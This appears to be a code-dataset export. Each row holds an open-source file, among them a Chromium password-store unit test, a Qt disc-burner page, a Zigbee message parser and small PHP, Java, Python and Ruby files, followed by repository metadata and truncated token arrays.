EXPECT_EQ(form1, *matching_items[0]);
EXPECT_TRUE(login_db()->GetLogins(form2, &matching_items));
ASSERT_EQ(1u, matching_items.size());
EXPECT_EQ(form2, *matching_items[0]);
EXPECT_TRUE(login_db()->GetLogins(blacklisted_form, &matching_items));
ASSERT_EQ(1u, matching_items.size());
EXPECT_EQ(blacklisted_form, *matching_items[0]);
// The passwords are encrypted using a key from the Keychain.
EXPECT_TRUE(histogram_tester_->GetHistogramSamplesSinceCreation(
"OSX.Keychain.Access")->TotalCount());
histogram_tester_.reset();
}
// Import a federated credential while the Keychain is locked.
TEST_F(PasswordStoreMacTest, ImportFederatedFromLockedKeychain) {
keychain()->set_locked(true);
PasswordForm form1;
form1.origin = GURL("http://example.com/Login");
form1.signon_realm = "http://example.com/";
form1.username_value = ASCIIToUTF16("my_username");
form1.federation_url = GURL("https://accounts.google.com/");
store()->AddLogin(form1);
FinishAsyncProcessing();
ASSERT_TRUE(base::PostTaskAndReplyWithResult(
thread_->task_runner().get(), FROM_HERE,
base::Bind(&PasswordStoreMac::ImportFromKeychain, store()),
base::Bind(&CheckMigrationResult, PasswordStoreMac::MIGRATION_OK)));
FinishAsyncProcessing();
ScopedVector<PasswordForm> matching_items;
EXPECT_TRUE(login_db()->GetLogins(form1, &matching_items));
ASSERT_EQ(1u, matching_items.size());
EXPECT_EQ(form1, *matching_items[0]);
}
// Try to import while the Keychain is locked but the encryption key had been
// read earlier.
TEST_F(PasswordStoreMacTest, ImportFromLockedKeychainError) {
PasswordForm form1;
form1.origin = GURL("http://accounts.google.com/LoginAuth");
form1.signon_realm = "http://accounts.google.com/";
form1.username_value = ASCIIToUTF16("my_username");
form1.password_value = ASCIIToUTF16("my_password");
store()->AddLogin(form1);
FinishAsyncProcessing();
// Add a second keychain item matching the Database entry.
PasswordForm form2 = form1;
form2.origin = GURL("http://accounts.google.com/Login");
form2.password_value = ASCIIToUTF16("1234");
MacKeychainPasswordFormAdapter adapter(keychain());
EXPECT_TRUE(adapter.AddPassword(form2));
keychain()->set_locked(true);
ASSERT_TRUE(base::PostTaskAndReplyWithResult(
thread_->task_runner().get(), FROM_HERE,
base::Bind(&PasswordStoreMac::ImportFromKeychain, store()),
base::Bind(&CheckMigrationResult, PasswordStoreMac::KEYCHAIN_BLOCKED)));
FinishAsyncProcessing();
ScopedVector<PasswordForm> matching_items;
EXPECT_TRUE(login_db()->GetLogins(form1, &matching_items));
ASSERT_EQ(1u, matching_items.size());
EXPECT_EQ(base::string16(), matching_items[0]->password_value);
histogram_tester_->ExpectUniqueSample(
"PasswordManager.KeychainMigration.NumPasswordsOnFailure", 1, 1);
histogram_tester_->ExpectUniqueSample(
"PasswordManager.KeychainMigration.NumFailedPasswords", 1, 1);
histogram_tester_->ExpectUniqueSample(
"PasswordManager.KeychainMigration.NumChromeOwnedInaccessiblePasswords",
2, 1);
// Don't test the encryption key access.
histogram_tester_.reset();
}
| lihui7115/ChromiumGStreamerBackend | chrome/browser/password_manager/password_store_mac_unittest.cc | C++ | bsd-3-clause | 78,380 | [
30522,
1013,
1013,
9385,
1006,
1039,
1007,
2262,
1996,
10381,
21716,
5007,
6048,
1012,
2035,
2916,
9235,
1012,
1013,
1013,
2224,
1997,
2023,
3120,
3642,
2003,
9950,
2011,
1037,
18667,
2094,
1011,
2806,
6105,
2008,
2064,
2022,
1013,
1013,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
namespace Site\MainBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
use Gedmo\Mapping\Annotation as Gedmo;
use Symfony\Component\Validator\Constraints as Assert;
/**
* Site\MainBundle\Entity\ModuleMap
*
* @ORM\Table(name="module_map")
* @ORM\Entity(repositoryClass="Site\MainBundle\Entity\Repository\ModuleMapRepository")
*/
class ModuleMap
{
/**
* @ORM\Id
* @ORM\Column(type="integer")
* @ORM\GeneratedValue(strategy="AUTO")
*/
private $id;
/**
* @ORM\Column(type="text", nullable=true)
*/
protected $code;
/**
* @ORM\Column(type="text", nullable=true)
*/
protected $height;
/**
* @ORM\Column(type="boolean", nullable=true)
*/
protected $enable = true;
/**
* @ORM\OneToOne(targetEntity="Level", inversedBy="moduleMap", cascade={"persist", "remove"})
* @ORM\JoinColumn(name="level_id", referencedColumnName="id", nullable=true, onDelete="SET NULL")
*/
protected $level;
/**
* Get id
*
* @return integer
*/
public function getId()
{
return $this->id;
}
/**
* Set code
*
* @param string $code
* @return ModuleMap
*/
public function setCode($code)
{
$this->code = $code;
return $this;
}
/**
* Get code
*
* @return string
*/
public function getCode()
{
return $this->code;
}
/**
* Set enable
*
* @param boolean $enable
* @return ModuleMap
*/
public function setEnable($enable)
{
$this->enable = $enable;
return $this;
}
/**
* Get enable
*
* @return boolean
*/
public function getEnable()
{
return $this->enable;
}
/**
* Set level
*
* @param \Site\MainBundle\Entity\Level $level
* @return ModuleMap
*/
public function setLevel(\Site\MainBundle\Entity\Level $level = null)
{
$this->level = $level;
return $this;
}
/**
* Get level
*
* @return \Site\MainBundle\Entity\Level
*/
public function getLevel()
{
return $this->level;
}
/**
* Set height
*
* @param string $height
* @return ModuleMap
*/
public function setHeight($height)
{
$this->height = $height;
return $this;
}
/**
* Get height
*
* @return string
*/
public function getHeight()
{
return $this->height;
}
}
| olegfox/landing | src/Site/MainBundle/Entity/ModuleMap.php | PHP | mit | 2,549 | [
30522,
1026,
1029,
25718,
3415,
15327,
2609,
1032,
2364,
27265,
2571,
1032,
9178,
1025,
2224,
8998,
1032,
2030,
2213,
1032,
12375,
2004,
2030,
2213,
1025,
2224,
16216,
22117,
2080,
1032,
12375,
1032,
5754,
17287,
3508,
2004,
16216,
22117,
2... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright 2016 Axibase Corporation or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* https://www.axibase.com/atsd/axibase-apache-2.0.pdf
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package com.axibase.tsd.model.meta;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.Data;
import lombok.experimental.Accessors;
import java.util.Map;
@Data
/* Use chained setters that return this instead of void */
@Accessors(chain = true)
@JsonIgnoreProperties(ignoreUnknown = true)
public class EntityAndTags {
@JsonProperty("entity")
private String entityName;
private Long lastInsertTime;
@JsonProperty
private Map<String, String> tags;
}
| axibase/atsd-api-java | src/main/java/com/axibase/tsd/model/meta/EntityAndTags.java | Java | apache-2.0 | 1,151 | [
30522,
1013,
1008,
1008,
9385,
2355,
22260,
18410,
3366,
3840,
2030,
2049,
18460,
1012,
2035,
2916,
9235,
1012,
1008,
1008,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1007,
1012,
1008,
2017,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#include <SFML/Graphics.hpp>
#include <SFML/Audio.hpp>
#include <iostream>
int main()
{
sf::RenderWindow window(sf::VideoMode(200, 200), "Donguili");
sf::Music sound;
if (!sound.openFromFile("C:/Users/Alpha/Documents/Donguili/bin/Debug/test.ogg"))
return -1; // erreur
sound.play();
while (window.isOpen())
{
sf::Event event;
while (window.pollEvent(event))
{
if (event.type == sf::Event::Closed)
window.close();
}
// Presse de touche
if (sf::Keyboard::isKeyPressed(sf::Keyboard::Space))
{
std::cout << "Musique en pause" << std::endl;
sound.pause();
}
if (sf::Keyboard::isKeyPressed(sf::Keyboard::P))
{
std::cout << "Musique lancé" << std::endl;
sound.play();
}
// Fin Presse touche
window.clear();
window.display();
}
return 0;
}
| haaggen/Donguili | main.cpp | C++ | mit | 910 | [
30522,
1001,
2421,
1026,
16420,
19968,
1013,
8389,
1012,
6522,
2361,
1028,
1001,
2421,
1026,
16420,
19968,
1013,
5746,
1012,
6522,
2361,
1028,
1001,
2421,
1026,
16380,
25379,
1028,
20014,
2364,
1006,
1007,
1063,
16420,
1024,
1024,
17552,
11... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
from click.testing import CliRunner
from twelve_tone.cli import main
def test_main():
runner = CliRunner()
result = runner.invoke(main, [])
assert result.exit_code == 0
| accraze/python-twelve-tone | tests/test_twelve_tone.py | Python | bsd-2-clause | 186 | [
30522,
2013,
11562,
1012,
5604,
12324,
18856,
4313,
4609,
3678,
2013,
4376,
1035,
4309,
1012,
18856,
2072,
12324,
2364,
13366,
3231,
1035,
2364,
1006,
1007,
1024,
5479,
1027,
18856,
4313,
4609,
3678,
1006,
1007,
2765,
1027,
5479,
1012,
1999... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
#define ICON_SIZE QSize(48,48)
#define EXPANDED_HEIGHT 413
#define UNEXPANDED_HEIGHT 137
#include "mainpage.h"
#include "ui_options.h"
#include <QWidget>
#include <QComboBox>
#include <QHBoxLayout>
#include <QVBoxLayout>
#include <QGroupBox>
#include <QCheckBox>
#include <QLineEdit>
#include <QMimeData>
#include <QLabel>
#include <QToolBar>
#include <QAction>
#include <QToolButton>
#include <QFileDialog>
#include <QUrl>
#include <SMasterIcons>
#include <SDeviceList>
#include <SComboBox>
#include <SDialogTools>
class MainPagePrivate
{
public:
QVBoxLayout *layout;
QHBoxLayout *image_layout;
QToolButton *open_btn;
QLineEdit *src_line;
SComboBox *dst_combo;
QLabel *label;
QToolBar *toolbar;
QAction *go_action;
QAction *more_action;
SDeviceList *device_list;
Ui::OptionsUi *options_ui;
QWidget *options_widget;
QList<SDeviceItem> devices;
};
MainPage::MainPage( SApplication *parent )
: SPage( tr("Image Burner") , parent , SPage::WindowedPage )
{
p = new MainPagePrivate;
p->device_list = new SDeviceList( this );
p->src_line = new QLineEdit();
p->src_line->setReadOnly( true );
p->src_line->setFixedHeight( 28 );
p->src_line->setPlaceholderText( tr("Please select a Disc Image") );
p->src_line->setFocusPolicy( Qt::NoFocus );
p->open_btn = new QToolButton();
p->open_btn->setIcon( SMasterIcons::icon( ICON_SIZE , "document-open.png" ) );
p->open_btn->setFixedSize( 28 , 28 );
p->image_layout = new QHBoxLayout();
p->image_layout->addWidget( p->src_line );
p->image_layout->addWidget( p->open_btn );
p->dst_combo = new SComboBox();
p->dst_combo->setIconSize( QSize(22,22) );
p->label = new QLabel();
p->label->setText( tr("To") );
p->toolbar = new QToolBar();
p->toolbar->setToolButtonStyle( Qt::ToolButtonTextBesideIcon );
p->toolbar->setStyleSheet( "QToolBar{ border-style:solid ; margin:0px }" );
p->options_widget = new QWidget();
p->options_ui = new Ui::OptionsUi;
p->options_ui->setupUi( p->options_widget );
p->layout = new QVBoxLayout( this );
p->layout->addLayout( p->image_layout );
p->layout->addWidget( p->label );
p->layout->addWidget( p->dst_combo );
p->layout->addWidget( p->options_widget );
p->layout->addWidget( p->toolbar );
p->layout->setContentsMargins( 10 , 10 , 10 , 10 );
setFixedWidth( 413 );
setFixedHeight( EXPANDED_HEIGHT );
p->dst_combo->setCurrentIndex( 0 );
connect( p->device_list , SIGNAL(deviceDetected(SDeviceItem)) , SLOT(deviceDetected(SDeviceItem)) );
connect( p->open_btn , SIGNAL(clicked()) , SLOT(select_src_image()) );
connect( p->dst_combo , SIGNAL(currentIndexChanged(int)) , SLOT(device_index_changed(int)) );
connect( p->options_ui->scan_check , SIGNAL(toggled(bool)) , p->options_ui->scan_widget , SLOT(setVisible(bool)) );
p->options_ui->scan_check->setChecked( false );
p->device_list->refresh();
init_actions();
more_prev();
setAcceptDrops( true );
}
void MainPage::init_actions()
{
QWidget *spr1 = new QWidget();
spr1->setSizePolicy( QSizePolicy::Expanding , QSizePolicy::Minimum );
p->go_action = new QAction( SMasterIcons::icon(ICON_SIZE,"tools-media-optical-burn.png") , tr("Go") , this );
p->more_action = new QAction( SMasterIcons::icon(ICON_SIZE,"edit-rename.png") , tr("More") , this );
p->toolbar->addAction( p->more_action );
p->toolbar->addWidget( spr1 );
p->toolbar->addAction( p->go_action );
connect( p->go_action , SIGNAL(triggered()) , SLOT(go_prev()) );
connect( p->more_action , SIGNAL(triggered()) , SLOT(more_prev()) );
}
void MainPage::deviceDetected( const SDeviceItem & device )
{
if( !p->devices.contains(device) )
{
p->devices << device;
p->dst_combo->insertItem( p->devices.count()-1 , SMasterIcons::icon(ICON_SIZE,"drive-optical.png") , device.name() );
}
else
{
int index = p->devices.indexOf( device );
p->devices.removeAt( index );
p->devices.insert( index , device );
p->dst_combo->setItemText( index , device.name() );
device_index_changed( p->dst_combo->currentIndex() );
}
}
void MainPage::device_index_changed( int index )
{
if( index < 0 )
return ;
const SDeviceItem & device = p->devices.at( index );
const SDiscFeatures & disc = device.currentDiscFeatures();
QList<int> list;
if( disc.volume_disc_type_str.contains("blu",Qt::CaseInsensitive) )
list = device.deviceFeatures().bluray_speed_list;
else if( disc.volume_disc_type_str.contains("dvd",Qt::CaseInsensitive) )
list = device.deviceFeatures().dvd_speed_list;
else
list = device.deviceFeatures().cd_speed_list;
if( list.isEmpty() )
list << 2 << 1;
p->options_ui->speed_combo->clear();
for( int i=0 ; i<list.count() ; i++ )
p->options_ui->speed_combo->addItem( QString::number(list.at(i)) );
}
QString MainPage::sourceImage() const
{
return p->src_line->text();
}
const SDeviceItem & MainPage::destinationDevice() const
{
return p->devices.at( p->dst_combo->currentIndex() );
}
void MainPage::go_prev()
{
SDialogTools::getTimer( this , tr("Your Request will be starting after count down.") , 7000 , this , SIGNAL(go()) );
}
void MainPage::more_prev()
{
if( height() == UNEXPANDED_HEIGHT )
{
setFixedHeight( EXPANDED_HEIGHT );
p->options_widget->show();
p->more_action->setText( tr("Less") );
}
else
{
setFixedHeight( UNEXPANDED_HEIGHT );
p->options_widget->hide();
p->more_action->setText( tr("More") );
}
setDefaultOptions();
}
void MainPage::setDefaultOptions()
{
int index = p->dst_combo->currentIndex();
if( index < 0 )
return ;
const SDeviceItem & device = p->devices.at(index);
const SDiscFeatures & disc = device.currentDiscFeatures();
/*! -------------------- Scanner Options -------------------------*/
p->options_ui->scan_line->setText( disc.volume_label_str );
}
bool MainPage::scan() const
{
return p->options_ui->scan_check->isChecked();
}
int MainPage::copiesNumber() const
{
return p->options_ui->copies_spin->value();
}
int MainPage::speed() const
{
return p->options_ui->speed_combo->currentText().toInt();
}
bool MainPage::eject() const
{
return p->options_ui->eject_check->isChecked();
}
bool MainPage::dummy() const
{
return p->options_ui->dummy_check->isChecked();
}
bool MainPage::remove() const
{
return p->options_ui->remove_check->isChecked();
}
QString MainPage::scanName() const
{
return p->options_ui->scan_line->text();
}
void MainPage::setSourceImage( const QString & file )
{
p->src_line->setText( file );
}
void MainPage::select_src_image()
{
SDialogTools::getOpenFileName( this , this , SLOT(setSourceImage(QString)) );
}
void MainPage::setDestinationDevice( const QString & bus_len_id )
{
for( int i=0 ; i<p->devices.count() ; i++ )
if( p->devices.at(i).toQString() == bus_len_id )
{
p->dst_combo->setCurrentIndex( i );
return ;
}
}
void MainPage::setScan( const QString & str )
{
p->options_ui->scan_check->setChecked( !str.isEmpty() );
p->options_ui->scan_line->setText( str );
}
void MainPage::setCopiesNumber( int value )
{
p->options_ui->copies_spin->setValue( value );
}
void MainPage::setSpeed( int speed )
{
p->options_ui->speed_combo->setEditText( QString::number(speed) );
}
void MainPage::setEject( bool stt )
{
p->options_ui->eject_check->setChecked( stt );
}
void MainPage::setDummy( bool stt )
{
p->options_ui->dummy_check->setChecked( stt );
}
void MainPage::setRemove( bool stt )
{
p->options_ui->remove_check->setChecked( stt );
}
void MainPage::dropEvent( QDropEvent *event )
{
QList<QUrl> list = event->mimeData()->urls();
QString url_path = list.first().path();
#ifdef Q_OS_WIN32
if( url_path[0] == '/' )
url_path.remove( 0 , 1 );
#endif
setSourceImage( url_path );
event->acceptProposedAction();
QWidget::dropEvent( event );
}
void MainPage::dragEnterEvent( QDragEnterEvent *event )
{
if( !event->mimeData()->hasUrls() )
return;
QList<QUrl> list = event->mimeData()->urls();
if( list.count() != 1 )
event->ignore();
else
event->acceptProposedAction();
QWidget::dragEnterEvent( event );
}
MainPage::~MainPage()
{
delete p->options_ui;
delete p;
}
| realbardia/silicon | SApplications/ImageBurner/mainpage.cpp | C++ | gpl-3.0 | 8,814 | [
30522,
1001,
9375,
12696,
1035,
2946,
1053,
5332,
4371,
1006,
4466,
1010,
4466,
1007,
1001,
9375,
4423,
1035,
4578,
4601,
2509,
1001,
9375,
16655,
2595,
9739,
5732,
1035,
4578,
14989,
1001,
2421,
1000,
2364,
13704,
1012,
1044,
1000,
1001,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/**
* Copyright (c) 2016-2019 by the respective copyright holders.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v10.html
*/
package com.zsmartsystems.zigbee.dongle.telegesis.internal.protocol;
/**
* Class to implement the Telegesis command <b>Nack Message</b>.
* <p>
* Acknowledgement for message XX was not received
* <p>
* This class provides methods for processing Telegesis AT API commands.
* <p>
* Note that this code is autogenerated. Manual changes may be overwritten.
*
* @author Chris Jackson - Initial contribution of Java code generator
*/
public class TelegesisNackMessageEvent extends TelegesisFrame implements TelegesisEvent {
/**
* NACK response field
*/
private Integer messageId;
/**
*
* @return the messageId as {@link Integer}
*/
public Integer getMessageId() {
return messageId;
}
@Override
public void deserialize(int[] data) {
initialiseDeserializer(data);
// Deserialize the fields for the "NACK" response
if (testPrompt(data, "NACK:")) {
setDeserializer(5);
// Deserialize field "message ID"
messageId = deserializeInt8();
}
}
@Override
public String toString() {
final StringBuilder builder = new StringBuilder(205);
builder.append("TelegesisNackMessageEvent [messageId=");
builder.append(messageId);
builder.append(']');
return builder.toString();
}
}
| cschwer/com.zsmartsystems.zigbee | com.zsmartsystems.zigbee.dongle.telegesis/src/main/java/com/zsmartsystems/zigbee/dongle/telegesis/internal/protocol/TelegesisNackMessageEvent.java | Java | epl-1.0 | 1,675 | [
30522,
1013,
1008,
1008,
1008,
9385,
1006,
1039,
1007,
2355,
1011,
10476,
2011,
1996,
7972,
9385,
13304,
1012,
1008,
2035,
2916,
9235,
1012,
2023,
2565,
1998,
1996,
10860,
4475,
1008,
2024,
2081,
2800,
2104,
1996,
3408,
1997,
1996,
13232,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<p>This plugin provides an easy integration for eSyndiCat directory script and VanillaForums members.</p>
<p>Thanks for using eSyndiCat directory script!</p> | imaschio/xkvmt | plugins/vanillaforums/docs/description.html | HTML | apache-2.0 | 157 | [
30522,
1026,
1052,
1028,
2023,
13354,
2378,
3640,
2019,
3733,
8346,
2005,
9686,
6038,
14808,
4017,
14176,
5896,
1998,
21161,
29278,
18163,
2372,
1012,
1026,
1013,
1052,
1028,
1026,
1052,
1028,
4283,
2005,
2478,
9686,
6038,
14808,
4017,
1417... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
require "rails_helper"
describe "announcements/_public_announcement" do
it "renders nothing when announcements are not visible" do
allow(view).to receive(:announcement_visible?).and_return(false)
render
expect(rendered).to eq ""
end
it "renders the announcement when announcements are visible" do
announcement = create :announcement, body: "Test"
allow(view).to receive(:announcement_visible?).and_return(true)
render
expect(rendered).to match /Test/
expect(rendered).to match /#{announcement.to_cookie_key}/
expect(rendered).to match /hideAnnouncement/
end
end
| thoughtbot/paul_revere | spec/views/announcements/_public_announcement.html.erb_spec.rb | Ruby | mit | 610 | [
30522,
5478,
1000,
15168,
1035,
2393,
2121,
1000,
6235,
1000,
25674,
1013,
1035,
2270,
1035,
8874,
1000,
2079,
2009,
1000,
17552,
2015,
2498,
2043,
25674,
2024,
2025,
5710,
1000,
2079,
3499,
1006,
3193,
1007,
1012,
2000,
4374,
1006,
1024,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
